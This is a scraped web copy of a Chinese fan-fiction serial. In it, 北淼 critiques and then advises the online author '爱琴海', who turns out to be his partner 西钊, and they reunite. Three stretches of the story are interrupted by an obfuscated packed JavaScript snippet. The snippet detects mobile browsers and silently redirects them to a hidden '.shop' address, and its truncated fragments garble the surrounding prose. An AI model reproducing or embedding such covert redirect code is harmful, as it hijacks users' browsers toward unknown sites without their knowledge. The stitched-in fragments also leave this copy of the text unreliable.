故事以倒叙的形式,讲述西钊单恋北淼的心路历程。剧情中,北淼质问西钊对自己的感情,西钊出于社会现实和实际情况,选择说出违心的“不爱”,于是两人分道扬镳。他们在北淼几年后的婚礼上再度相见。西钊对北淼的感情从未变过,一直到剧情的末尾,他挡在重伤的北淼面前,为他燃尽最后的生命之火。 ———— “离开这里,西钊!别插手!” 眼看更多的异能量正在敌方阵营蓄力,西钊不为所动地站在北淼身前。他忽然想起了一句话。虽然感觉像是小孩子才会说的幼稚台词,但他莫名有种想要将它呐喊出声的冲动。 西钊没有回头,看着面前迎来的异能量冲击,忽地露出了微笑。 “喂!保护王子,可是骑士的职责!” 谁都没有看到,北淼诧异的表情,定格在尘埃之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334679|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 即便不断被击倒,不断从光影驹上跌落、撞击在地面,西钊还是没有放弃。数不清是第几次在北淼面前站起,西钊那双眸子里的坚定,由始至终都不曾改变。他还要继续战斗。如果他倒下,北淼就会葬身于此,而他决不允许这样的事发生。 第二次抵挡住异能兽的突袭,西钊抬起头,迎上从那异兽口中喷出的灼热烈焰。 本以为雪獒铠甲已经在火焰中化为铁水的丑陋怪物正要发出欣喜的狂笑,却看到那个仿佛永远无法被打倒的人身着受损严重的白色铠甲、目镜闪耀着苍白辉光,从火焰的残烟中一步步走出。 『来啊,继续啊。将我的意志燃成灰烬。』 “你们最大的失败……就是用火来‘炼金’。” 西钊高举震雷斧,聚集的金之力有如劈开暗夜、破晓长空的白昼。 『而我,就是灰烬里的凤凰。』 ———— 虽然“爱琴海”给北淼莫名其妙配了个妻子让他有些不满,但看着TA笔下那个为保护北淼将深藏的爱意化为击碎一切力量的人,他又觉被触碰到了心中柔软之处。他想,如果当初是他如流星坠向地球,西钊也会如此奋不顾身拉住他的手。 当初看到这里的北淼还不明白这剧情和作者起的标题有什么关系,直到他发现这篇连载还有一个“后续”。 在这篇?后日谈?中,并非西钊先遇到北淼,而是在更早的时候,北淼就见过了西钊。那时他们还小,北淼与其他小孩扭打在一起、处于劣势时,是西钊挡在他面前,并对不屑于别人帮助的北淼说:“保护王子,是骑士的职责。”后来,必须要分开的他们做了一个约定:如果再次见面,“骑士”再救一次“王子”,他们就在一起。 北淼一直记得这个约定,也一直在寻找西钊。然而,等到真的遇见,他发现西钊已经忘了似乎只属于孩童的那段记忆。他想过直白地进攻,但他同样受到了各方压力和限制。最终北淼决定放手一搏,选择当面质问。于是,他得到了那个意料之中的回答。 ———— 那天,北淼没有说谎,从西钊拒绝他的那一秒钟开始,他就不会再喜欢任何男人了。 他们就这样,在彼此的世界擦肩。 其实在面对面的那一刻,他们是相互喜欢着的。是不是如果哪一方再坚定一些,哪一方再冲动一些,事情就会向另一个完全不同的方向发展?或许是吧,可是并没有。 事已至此,木已成舟。忘却王子的骑士重新爱上了王子,但爱过骑士的王子却决定忘却骑士。 他们注定,是彼此的孽缘。 直到很久很久以后,那个熟悉的场景再现之时,那段被封锁已久的记忆、那份被丢弃已久的感情,再次在北淼的心里掀起汹涌波涛。他从来没有想过,那份六寸泥土之下最初的心动,一直都在自己身边。 ———— 北淼第一次看到这里时,心里挺不是滋味的。“爱琴海”和其他作者不同的地方就在这里,TA太现实了。很多作者都将剧情简化、美化,哪怕历经磨难,最终也能收获幸福。 但正如北淼之前所说:《铠甲勇士》是假的,他们是真的。在他们的世界,不是什么事情都可以轻易地用一个吻、一个拥抱、一句情话解决。“爱琴海”正是抓住这一点,将“理想”回归“现实”,将爱写得十分深刻、却又如此沉重。 不过,这种悲剧与现状的对比也让北淼多少感到庆幸。庆幸他和西钊不会经历这些。虽然“梦境共感”给他们好一番折腾,但北淼不得不承认这种直击灵魂的交流方式也让他们少走了许多弯路。 这个“爱琴海”真的很有意思。北淼追了两篇连载之后,不禁感叹。 TA还有几个小短篇,基本都是几千字的小故事,无一例外全是悲剧收尾。北淼都不知道这个人怎么做到这么短的篇幅都能写出令人心肌梗塞的剧情的。不是分手就是诀别、不是遗憾就是错过,甚至还有被迫互相伤害以及对既定结果的无力回天。整个合集看下来,北淼都快对“北淼和西钊没有好结局”这件事脱敏了。 反正抛开穿越将他们字面意义上地拆散这件事不谈,他现在和西钊是戴着对戒的关系,这是事实。只要这一点不变,任何二次创作他都可以不放在心上。 哦。除了几篇他要从几个平台来回跳转才能看到的限制级文章,那些他得在意一下。不说里面他和西钊性格怎么样,只是有些姿势和……情趣,非常适合作为参考,说不定回去之后可以用在西钊身上、呃,他的意思是,跟西钊一起探讨一下。嗯。 北淼将车停在公寓的地下停车场。车子刚熄火,息屏的手机再次亮起,熟悉的APP通知横在屏幕上。 “您关注的作者【爱琴海】更新啦!快来看看吧。” 早上不是才写了篇“分手”吗?这么快就更新了?北淼关上打开一半的车门、坐回车里,将手机从支架上拿下来、点开那个绿白相间的APP。 TBC 52. 初见端倪 时间转眼过去一个月。张超相关的话题没刷到几条,“爱琴海”的文章是看了不少。北淼一如既往地在灶台前给自己做早餐,并不优雅地打了个哈欠。手机放在一边,息屏显示上还有一条“7小时前”来自APP的提醒: “您关注的作者【爱琴海】更新啦!快来看看吧。” “爱琴海”发布文章的时间总是很不规律,全天任何时间段都有可能。由于北淼经常出门、加上他不想因为“爱琴海”那些心梗的剧情让他睡不着觉,所以他基本都会把更新留到第二天早上吃早餐的时候看。 北淼揣上手机,端着早餐在餐桌前坐下,一边开吃一边点开“爱琴海”的主页。最近几天TA并没有写关于#北西#的文章,而是一篇比较长的连载,叫《如此勇者》,是群像同人二创,里面没有感情线,每个人对彼此都是兄弟情谊。 大致剧情是:五位光影铠甲召唤人穿越到了百年前,“爱琴海”自己设定的“上一代光影之战”的时间线。召唤器丢失、光影石与五人失散世界各地、黑暗势力席卷人间。他们必须在与影界战斗的同时汇合、并团结一心,重新将影界封印。 这篇文章在#铠甲勇士#标签热度里不算高,属于中等位置,但北淼很喜欢看。因为它剧情紧凑、情节合理,不单单都是枯燥严肃的主线,偶尔还会有轻松愉悦的搞笑场景,甚至是双线同时进行。除了炘南和东杉的性格有一点“扁平”之外,其他三个人物都刻画得不错。 与其说“爱琴海”不仅会写北淼和西钊的故事,也会写所有人之间的羁绊;倒不如说写群像才是TA一开始入驻这个APP的写作方向。“爱琴海”最早的文章其实不是#北西#相关,而是另一篇已经完结的正剧连载,同样是没有感情线的群像。那篇热度更低,但北淼看完之后感觉也没那么糟糕。虽然文笔描写上确实不如后期TA的#北西#和现在的《如此勇者》,就好像初高中生写第一次接触的题材,但能看得出TA在剧情线和文字上的大胆尝试。 目前,《如此勇者》的剧情进展到:北淼、炘南和西钊成功汇合,从影界手里夺回了火影石和水影石。与此同时,北淼找到几个见过东杉的目击证人,在北方;而西钊打听到土影石的下落,在南方。北淼与西钊两人结合现状,就接下来的行程方向产生了分歧。炘南对他们的方案都持保留意见,并没有第一时间下结论。三人就这么僵持。 北淼把早餐的空碟子放进厨房的水槽,看着这一章结尾的代表“未完待续(To Be Continue)”的“TBC”,挑了挑眉。他很少在“爱琴海”的文章里感觉到与人物形象不符的违和感,但这次他却觉得,如果是自己的话,肯定会支持西钊的决定。 之前美真他们发现土影石那会儿,比起寻找召唤人,他也更在乎“先把石头拿回来”。召唤人什么时候都可以找,影界甚至有可能像强迫西钊一样找出与他们为敌的召唤人。但只要有了石头,就会从根源杜绝这一可能性。再说了,东杉是个成年人,还是光影铠甲召唤人,又不是三岁小孩子,文章里的三个人不都是一个个遇见的吗?晚一点去也不会怎么样吧。他北淼怎么会为了优劣这么明显的策略和西钊分歧不断、僵持不下? 当然,这只是剧情里微不足道的一段情节,北淼吐槽归吐槽,但没有很放在心上。直到第二天,北淼叼着吐司打开最新一章、发现“爱琴海”让西钊放弃辩解,选择跟随北淼的计划前往北方、而炘南也一副随遇而安的样子赞同西钊时,他忍不住了。 北淼放下手里的黄油刀和果酱瓶,也没顾得上嘴里的吐司片,进入“爱琴海”的主页,犹豫半秒、点开了TA的私信界面。不过,他倒不至于上来就没礼貌地质问这个“北淼”怎么这样、这个“西钊”怎么那样。花了些时间整理措辞之后,北淼将自己的想法点击发送。 三水之家:你好。你的文章我看过不少,写得还不错。但是,我刚刚看完《如此勇者》第十一章,对西钊和炘南的做法有疑问。另外,我认为北淼更倾向于西钊的方案,而不是他自己的。如果有更好的策略,他会采用,而非一昧地固执己见。 发送成功。北淼叹了口气。这是他近段时间难得一次冲动行事。毕竟这是别人的作品,怎么写最终都是别人的决定,北淼这么上纲上线属实是有点“管得太宽”了。 他想过这条私信大概会被无视,毕竟“爱琴海”入驻到现在也有了上百粉丝,说不定每天都有私信联系他;而且从这个家伙的更新频率和文章字数来看,就像个无情的打字机器,除了写作哪有闲空看私信;说不定,北淼想,要是“爱琴海”是个脾气不好的作者,他还会被反过来骂一顿。 北淼拿下嘴里的吐司准备继续抹果酱,没想到手机这时候响起通知提示音。他一瞧,居然是来自那个APP的通知: “【爱琴海】给您发送了新的私信!请及时查看哦。” 啊?真回了啊? 北淼干脆把吐司片放进碟子里,拉开餐桌的椅子坐下来,打开私信界面。“爱琴海”纯白色的头像和一长串的对话框糊了北淼一脸。 爱琴海:你好。非常感谢你对我作品的喜爱和支持,这是我继续写作最大的动力。很高兴你能对《如此勇者》中的情节提出质疑,你是第一个这么做的读者,我感到受宠若惊。针对你提出的问题,在此我简单作出解答。 爱琴海:首先,我认为北淼是一个自尊心强、自信、并且总是以自我为中心的角色,而西钊与他相比,气势更弱、且缺少决策能力、更愿意接受他人的计划。炘南这个角色,很遗憾我无法很好地把控,我认为,正是因为他随缘的性格,才能衬托出在任何情况下,他都可以冷静应对、并化险为夷的能力。所以,我才让北淼坚持他的想法、而西钊放弃自己的、炘南支持他们的。 爱琴海:如果你认为这个做法与人物性格不符,说明我们在人物理解上有偏差。我一直非常欢迎读者互相讨论他们对于这几位主要角色的想法。如果你还有更多细节,可以和我多说说吗? 这个发展北淼倒是没想到,“爱琴海”居然这么快就接受了他的“批评”,并且还邀请他一起探讨角色。TA的用词虽然很官方礼貌,但又莫名透露着亲和,让人不觉疏远、没有距离感。其实“爱琴海”在这里对“北淼和西钊”的理解北淼并不认同,配上TA这让人讨厌不起来的文字,他更是没有拒绝的理由,即刻加入讨论。 三水之家:乐意之至。 三水之家:我们先来说北淼。虽然他的确自尊心强、也自信,但那是因为他有足够的实力作为资本,所以认为在很多事情上,他才是对的。然而,如果你看过《铠甲勇士》,就知道他最终也因为这种“自信”得到了教训。于是他幡然醒悟:这不叫自信,叫自负、自傲、狂妄。 三水之家:你的故事既然发生在《铠甲勇士》的结局之后,那么北淼就不应该依旧执迷不悟,和当初一样不顾全局、只顾自己。角色会随着时间成长,而不是止步不前。 爱琴海:谢谢。你说得在理,我也明白了《如此勇者》中存在的问题,在下章里我会做出改进。你看上去很了解北淼这个角色,描述得也十分细致。你一定非常喜欢他吧? 呃,因为他就是北淼? 北淼的手指悬在键盘上没有马上按下去,屏幕前他的表情稍微有些尴尬。这他该怎么回?就、冒充是“北淼的粉丝”,应该没问题吧? 三水之家:嗯。我是他的粉丝,所以关于北淼的部分我会比较敏感,多有冒犯,还请见谅。 爱琴海:哪里的事,虽然我对他也颇有研究,但也需要更多来自其他人的视角帮助我完善他的形象。在这方面,之后还请你多多指点。你刚刚也提到,西钊的做法也与你理想中的不同,那么关于他,你是怎样想的呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334680|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 三水之家:我不认为他“气势弱”。他是金之铠甲的召唤人,你自己的文章里也提到过,“金主杀伐”,脾气好不代表不会发飙。笑面人的怒火通常最为恐怖。 三水之家:其次,缺少决策力这点我不否认,但对于他认定的事情,除非彻底颠覆本质,不然他绝不会退让半分。他更愿意听从别人的安排是因为信任对方,而非没有主见。他其实很有自己的想法,只是不善表达。虽然不给他推力就不会前行,但不能进通过这点断章取义说他只会跟在别人屁股后面被动接受。 爱琴海:原来如此。看来你也是西钊的粉丝,对他的理解既精准又深刻,描绘得非常立体,就像真人一样。那么,总结下来看,你的意思是:如果北淼的性格发生转变,而西钊的计划更合理时,比起“北淼引发争执、西钊做出让步”,更符合实际的情况是“西钊说服北淼、北淼做出让步”吗? 三水之家:对。至于炘南,我不清楚,所以不评价。 爱琴海:好的,谢谢你。你的建议我了解了,明天的更新我会根据今天的谈话将剧情进行调整。 爱琴海:恕我冒昧,请问你喜欢#北西#这一对CP吗?看到你的私信后,我才注意到你的ID在我每次更新后都是第一时间点赞、评论、收藏以及打赏。非常感谢你的支持。 “……” 这种莫名其妙的羞耻感是怎么回事。北淼心虚地目移,抬手摸了摸后颈,下意识地想回复“不是我,ID重名而已”,但他还没来得及回复,“爱琴海”下一句就发过来了——看得出这个家伙打字是真的快,难不成真是打字机转世吗。 爱琴海:如果你也喜欢他们,我想请你在之后做我的写作顾问。因为我认为你对他们的理解非常好,而在写作时如果有人帮我参考他们的言行举止是否符合预期,最终呈现的效果想必会更好。关于著作署名也会写上你的名字,请不用担心。 三水之家:什么意思?你要把你写的内容给我看,然后问我“这里有没有角色崩坏”吗? 爱琴海:嗯,差不多是这个意思。如果你需要,我可以支付相应报酬。我很好奇在其他场景下,你如何看待他们两人之间的关系和各自的心理。关于#北西#,我想,我们还有很多话题可以聊。 三水之家:报酬无所谓,我只有一个条件。 三水之家:从现在开始的每一篇#北西#相关文章,必须是好结局。 这次“爱琴海”那边沉默了很久没有回复。 北淼都吃完早餐洗完碟子、连衣服都换好就差往门外走,他还在想这人怎么原则性这么强,写个童话“Happy Ending”跟要他命似的。结果刚在心里吐槽完,手机的提示音就响了起来:是“爱琴海”的私信通知。 爱琴海:好。 爱琴海:为方便交流,这是我的私人联系方式。通过验证后,我们再详谈。 北淼望着那行字符:前面有个K99,加了条杠,后面好像是手机号。这是一个绿色聊天软件的账号,确实挺私人的。他查找账号,搜索结果很快弹出:昵称叫“钊花西拾”,头像是卡通图案的藏獒、个性签名是“众里寻他千百度。蓦然回首,那人却在,灯火阑珊处。” ……这人是个西钊粉丝吧。 北淼看着那个让人起鸡皮疙瘩的昵称,轻哼一声,嘴角抽搐两下。 不过“爱琴海”也是心大,什么都没多问就这么把联系方式给他了,也不怕他是个过激粉丝上门骚扰。好在北淼不是那种人,他只是觉得自己捡了个便宜,既拿到了喜欢的作者的线下联系方式,又能提前知道接下来的剧情,还不用再看那些让他胃痛的#北西#故事,一举三得。 要是让对方知道自己就是北淼本人,估计会被吓得半死吧。北淼坐上跑车、架好手机、顺便将“爱琴海”的聊天框置顶,不禁如此想到。 TBC 53. 面见“爱琴海” 和“爱琴海”的聊天称不上有趣,但足以让北淼在闲暇之余打发时间。 “爱琴海”每写完一个章节,就会把文档发给北淼看,和他讨论里面的剧情发展和人物塑造。不过,他们聊得最多的还是#北西#。 他们会聊之前“爱琴海”文章里“北淼”“西钊”的互动、聊他们当时的心理活动。 他们也会即兴进行角色扮演,一方饰演“北淼”、一方饰演“西钊”。老实说,这是北淼最喜欢的环节,因为“爱琴海”演绎出来的“西钊”和真正的西钊很像,让他感觉十分亲切熟悉。 他们甚至还会就那些“限制级”情节发表看法。明明是让人面红耳赤的话题,在两人的文字中却显得跟讨论“今天吃什么”一样自然。不得不说,通过与“爱琴海”的“学术交流”,北淼了解到不少这方面全新的知识。过去他和西钊的生活太过平淡,他早就想在别的方面玩点新花样了。 不过,这都是后话。 当“爱琴海”将?如此勇者?的最后一章发给北淼时,北淼意识到之后TA就会继续#北西#的创作。而在那之前,北淼没忍住问出他从一开始就想问的问题。 三水之家:为什么你总是写那么现实的悲剧?我以为二次创作就是为了逃避现实、让他们有更好的过往和结局。 爱琴海:如果你读过我的第一部《铠甲勇士》二创作品《闪耀群星》,就会发现在那部作品中,结局就是幸福圆满的。 爱琴海:但是,我的一个朋友在#北西#的关系上给了我很多灵感。他很喜欢“夏令营效应”,认为很多美好的记忆只会停留在某个“夏天”,两个人短暂相遇、相识、相知,而当“夏令营”结束,他们便会无可避免地分开。他说,其实这个效应也可以用在北淼和西钊的故事里。 三水之家:你是指、他们有关铠甲勇士的那段经历?意思是一切结束,他们就各奔东西?从此不再见面? 爱琴海:正常来说,是这样。他总是说,每个人都有自己的路要走、每个人都有自己的目标,有一句话叫:道不同,不相为谋。现实很残酷,用再多的美好修饰也改变不了既定事实。 爱琴海:他说,糖果的甜是一时的,当你再也吃不到它,你只会记得它很甜,而记不住它具体的味道;但疼痛却是持久的,哪怕伤口变成疤痕,每每回想还是会记得伤口如何形成的痛。 爱琴海:当然,我想他可能在借这个主题聊他自己。他只是建议我,在这个时代,信息迭代得太快。如果想让大家对我的文章印象深刻,就需要描写“痛苦”。这就是我倾向于讲述悲剧故事的理由。 三水之家:所以,你还是相信他们两个能有美好结局的,对吧? 爱琴海:嗯。他们已经经历了足够多的磨难,如今,没有什么能将他们分开。 北淼看着“爱琴海”这行描述,不知为何感觉怪怪的,但他也说不出个所以然来。反正闲着也是闲着,他想,不如多问几句。 三水之家:你那是什么朋友?听起来很有故事啊。 爱琴海:他是演员,读过很多剧本,懂的也比我多。其实他也很喜欢北淼和西钊的故事,他说当初拿到剧本时就很期待两人之间的对手戏了。 【消息已撤回】 爱琴海:抱歉,我不应该在网上透露太多关于他的事。请你当做什么都没看到。 北淼的眼神一向很好。这几行他一字不落地全都看到了。这句话的信息量很大,但北淼只关注最重要的那部分:“爱琴海”认识“北淼”的扮演者柏栩栩或者“西钊”的扮演者张超。这是个绝佳的机会。 之前北淼还在为怎么联系这两个小有名气的家伙苦恼,甚至都考虑混进张超的粉丝团冒充追星族了。现在有一条捷径摆在他面前,不走白不走。只要说服“爱琴海”做他的中间人就行,哪怕只是打个电话。 三水之家:我都看到了。很遗憾,我没法当做没看见。你认识张超和柏栩栩?放心,我不是八卦记者或者过激粉丝。实际上,我已经找他们两个很久了,有很重要的事情需要他们帮忙。 爱琴海:冒昧问一下,是什么事情?如果我能帮上忙,还希望你不去打扰他们。 北淼很想说“你好我是穿越过来的北淼需要通过他们两个找到西钊然后一起回家”,但仔细想想大概真的会被当成神经病,于是他换了个说辞。 三水之家:情况复杂,打字说不清楚。我必须见他们一面,或者和他们通话。事关人命,我不放心由你代为转达。 爱琴海:很抱歉,他是我的朋友。我没办法在这件事上做主。 还挺不好忽悠。北淼稍微有点急躁,对方这样的态度很正常,他不能施压、也不想轻易放弃这个机会。谁知道下一个和张超柏栩栩有直接的联系人他什么时候才能遇到。 既然不能直接达到目的,那就一步步来吧。北淼不得不退而求其次。这个计划虽然有风险,但最坏的结果莫过于大家敞开天窗说亮话、他摊牌而已,没什么大不了的。 三水之家:我懂你的谨慎,毕竟我跟你只是素不相识的网友,顶多有点共同话题。那这样吧,我们见一面,我把情况好好跟你聊聊,你再做决定,如何? 对面的消息过了很久才弹出。 爱琴海:你在哪座城市? 三水之家:为表诚意,我去你的城市,你来定会面时间和地点。 爱琴海:我在S市。两天后的周日下午两点,西街23号公寓二单元67号。你方便吗? 三水之家:好。我会按时赴约,希望你也一样。 关闭绿色的聊天软件,北淼也顾不上歇口气,立即预定那个时段的机票。他隐隐有一种预感,这次见面一定可以拿到关于西钊的线索。即使不在S市,也一定在那个方向上。 另一方面,他也确实好奇,在这个“爱琴海”ID之下,究竟是何方神圣。 ———— 北淼这二十几年去过不少地方,现在的S市看上去比自己那个年代繁华了不少,甚至有些未来科技都市的味道。 “爱琴海”说的公寓在较为豪华的地段,要找到它并不难。比起轻而易举给出自己的私人联系方式,就这么把家庭住址也暴露给素未谋面的网友,一点警惕性都没有,北淼是越来越看不懂这个“爱琴海”了。 带着这样迷惑的想法,北淼站在67号门前。他是先发个消息、打个电话——老天他们之间甚至都没发过语音、还是直接敲门? 就在这时,楼道那边走过来一个外卖员,手里还提着一大盒食物,对着门牌号和北淼并排而站,准备敲门。北淼适时地退到一边,在外卖员敲门后对照单子的空隙瞥了一眼上面的信息。收货人一栏写着:“秦”。 秦? 北淼的脑子来不及运转,公寓门已经向外打开,分隔了本来站在一起的北淼和外卖员。外卖员对着门里,而北淼在门的另一边,隔着门在走道上安静等待。 “手机尾号。” “1875,谢谢,辛苦了。” 等等、这个声音…… 随着食物被领走、外卖员离开,北淼面前的门慢慢往回准备关上,北淼这次身体比头脑反应更快,伸出手用力抓住门框,直接将半开的门硬生生给拽得敞开。 “!?” 一只手提着食物、另一只手还握着门把手的人自然是被北淼这一举动弄得猝不及防向门外摔。北淼眼疾手快地松开拽门的手将差点倒下的人扶住。 终于,等混乱的一幕平息,两人才尴尬地各自撤开身子,相互对视。但彼此熟悉的身影再次将他们的时间定格。 “……北淼?” “西钊???” ———— “你的意思是,接近两个月,你就窝在这里、哪都没有去,每天不是吃饭就是写我跟你的爱恨情仇?还天天写我们有情人不得眷属、不是分手就是生离死别?” “好了好了、别生气了,北淼……” 西钊盘腿坐在客厅的懒人沙发上,嘴角扬起无奈的笑容,左手拽着北淼的黑色夹克,试图让他冷静下来,但依旧阻止不了他在客厅来回踱步。 西钊的右手还拿着长长的火锅筷子,似乎知道北淼还要继续滔滔不绝抱怨一样,也没打断他,只是把筷子伸进外卖盒里加起一块蛙肉放进嘴里嚼。 “那天你说什么‘经历了那么多,没有什么能把他们分开’的时候我就该猜到,那家伙是你。混蛋、你和那个张超是在耍我吗?你早就知道、那个ID是我,是不是?” “我当然不知道。但不得不说,‘他’实在太像你了,总是让我想起你。不吃吗?我专门给‘三水之家’点的。” 西钊一边低声笑了笑,一边夹起一块蛙腿肉举在半空,对烦躁的北淼抬抬手。环抱双臂的北淼低头瞪一眼坐地上满脸无辜还在吃香喝辣的家伙,听到那个如今令他羞耻万分的名字他就恼火。 “不吃。你留给那家伙吧。” “哪有人吃自己的醋的,北淼……你天天给那个‘爱琴海’打赏,我也没说什么,不是吗?这段时间算下来,那可是个不小的数目。” 北淼“嘁”了一声,又瞄一眼那一大碗像是火锅菜品的东西。就刚刚他们说那几句话的时间,里面的肉已经消失了一半,而西钊面前的小桌板上早已摞起一座骨头小山。北淼意识到他再不动筷子就真的一点不剩了。 “话多。拿来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334681|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >北淼蹲下身压着西钊直接把他屁股底下柔软的一坨懒人沙发给抽出来,动作行云流水一气呵成。西钊因为猝不及防磕地上倒吸一口凉气,哭笑不得地看着挤在自己身边闷声不吭抢他肉吃的北淼。 “明明旁边就有另一个……” “闭嘴。” 西钊知趣地放下筷子,安静地坐好,掌心托着脸侧歪头看着把火气发泄在食物上的北淼,嘴角微扬,眼里是他自己也觉察不到的爱意。 上次他们这么“尴尬”地挤挤挨挨,还是西钊受丑将胁迫,故意与北淼产生隔阂的时候。 那时,西钊正坐在公园的椅子上郁郁寡欢,结果下一秒,北淼的冰可乐就贴到了自己脸上。北淼也不管西钊站起来要走,把可乐往他怀里一扔就挤在他旁边坐,手还绕过他搭在椅背上,一点边界感都没有。 所谓风水轮流转,不高兴的人现在变成了北淼。 想到这里,西钊忍俊不禁,这成功引起了北淼的注意。北淼在开口埋怨和发火之间选择了转移话题——他虽然心情不好,但他不会把脾气发在西钊身上。 “笑什么笑,再好笑、也没有你的‘钊花西拾’好笑。像一本狗血的言情小说。” “……我只是、在网上随便看到的。”西钊的笑容逐渐消失,撑脸的手腕微微转了个角度盖住口鼻,视线瞟到别处,耳朵微微发红,“不好听吗?” 北淼吃完最后一块蛙肉,心满意足地习惯性开始收拾小桌台,余光瞥见西钊跟着耳朵红起来的脸,轻哼一声:“没‘爱琴海’好听。” “当初起这个名字,是因为‘秦’和‘琴’同音,而海代表你,所以……”西钊没把后半句说完。 “……” 北淼将骨头刮进空碗的动作一滞。 这家伙,真是不知道什么最有杀伤力。 被西钊简单粗暴的解释冲击到的北淼长叹一口气,放下筷子摸了摸后颈。他的脸怎么也热热的,一定是吃这个牛蛙锅吃的。太辣了。 “西钊。” “什么?” 西钊没有多想,下意识转过头。结果迎面而来的是欺身压上的北淼。 “来试试你笔下的那些……‘操作’吧。” 北淼架在西钊上方,慢慢俯下身,气氛渐渐变得微妙而暧昧。然而下一秒,西钊抬膝顶着北淼的腰,接着又是一个抬脚直接把他踹翻在身侧。 “???” 与瓷砖地面结结实实来了个亲密接触的北淼看向西钊的脸上写满了问号。 只听西钊理所当然地缓缓说道:“不要。身上都是火锅味。” “……”北淼闭上眼,做了个深呼吸,“好,这一切是你逼我的。” 说罢,北淼拿出手机,点开“爱琴海”的主页,找到最近的那篇,清了清嗓子,在西钊困惑的表情里大声朗诵: “西钊自嘲着,准备将吻压得更深,却被北淼突兀地将亲吻结束。一声闷哼未完,牵拉的银丝便被北淼将西钊压在床上的动作崩断。” “??北淼!你!” 意识到不对的西钊爬起来就要抢北淼的手机,北淼轻松翻个身躲开他的突袭,悠然自得地继续念道: “西钊难得的主动让北淼展现出了一丝愉悦,他扯下西钊细细的黑色围巾扔到一边。他欺身上前,侧头将温热的双唇贴在西钊的耳垂、耳根,将鼻翼间滚烫的呼吸喷洒在他耳后、侧颈。” “好了好了、你赢了,别念了!算我求你了北淼!” 北淼躺在地上,嘴角挂着得逞的笑容,握着手机的手伸得老远。而西钊此时正压在他身上,着急忙慌地往手机的方向探身。 北淼将手机随意往旁边一丢,抬手捧着西钊依旧有些无措的、已经红如苹果的脸。 他的一只手向西钊的后颈探去,找到熟悉的位置,手指缓缓插入西钊微卷的头发,安抚一般地轻轻按揉。方才眼里的狡黠逐渐变得温柔,犹如泛起的涟漪归于平静。 “逗你的。我还没那么饥渴。没给我们两个写过好结局的事情、以后再找你算账,但是现在……” 北淼在西钊略微惊讶的目光里环臂紧紧将他圈住,脑袋抵在西钊的胸口,在这个仿佛能一直持续下去的拥抱中一点点、一点点地释放着这些天压在心底汹涌的情感。 “……我很想你。” 他的声音很小,却清晰得犹如肌肤相贴时,彼此震颤波动的心跳。 “……” 西钊的表情立马柔和下来,他毫不犹豫地回应这个拥抱,闭上眼低头小幅蹭了蹭北淼的发旋。 “我也是。” 他的声音很轻,激不起一点涟漪,却能直达清澈的水底。 TBC 54. 时空镜 “所以,你那个‘夏令营’朋友,就是张超?”北淼靠坐在床头,侧身弯腰捡起被他扔在床边的衬衫随意披上。 西钊还蒙在被子里,只露出半个脑袋,迷迷糊糊地哼哼两声表示回应。他有些认不出自己略显沙哑的声音,仿佛在掩饰尴尬,他一手扶腰、一手撑床地坐起来。 “嗯。我通过他的粉丝和他取得联系。医院关于血型和人体气压的报告……比任何话都有说服力。” 带有音符印花的珊瑚绒被子随西钊的动作从他布满各种痕迹的身上一路下滑。北淼在被子滑到西钊腰胯之前迅速抓起手边的衣服裤子——也没管是谁的——就直接按在西钊怀里挡住。而某个对现状毫无自觉的人还抱着衣服微微皱眉,抬起手摸了摸颈侧的牙印。做的时候被咬得可疼,现在西钊只觉得很痒。 他们几乎每次做都会在对方身上留下痕迹:吻痕、抓痕、咬痕。他们很喜欢这样。这种行为除了可以作为对彼此标记、宣示主权的方式,也是他们爱意的宣泄、亦或者是释放压抑快感的渠道。 北淼懂得分寸,他们之间也有“说停必止”的约定,所以哪怕他知道自己咬疼了西钊,只要西钊不说停——他敢保证有时候西钊真的很喜欢自己咬他——北淼就不会停下。再说了,西钊的力气也和他那个单薄的身板扯不上一点关系。要是北淼做得狠了,或者场面不受控制,西钊也能给他肩膀和背上掐得青一块紫一块,有几次甚至也给他脖子上啃出几圈得靠创可贴上药愈合的牙印来。 真不愧是“雪獒”,犬科的凶兽。北淼合理怀疑西钊这么钟爱他的脖子,是因为对之前在车里他失了神智把西钊的侧颈咬出血那件事耿耿于怀。 人家都是“一朝被蛇咬,十年怕井绳”,结果这家伙是“一朝被蛇咬,十年捕蛇人”。 望着一旦双双靠坐就会习惯性往他肩膀上歪头倚靠的西钊,北淼无声叹气。 “你们没去找柏栩栩?你不会这一个多月以来、完全沉浸在怎么写我跟你的悲情戏码里,而从没尝试找过我吧?” 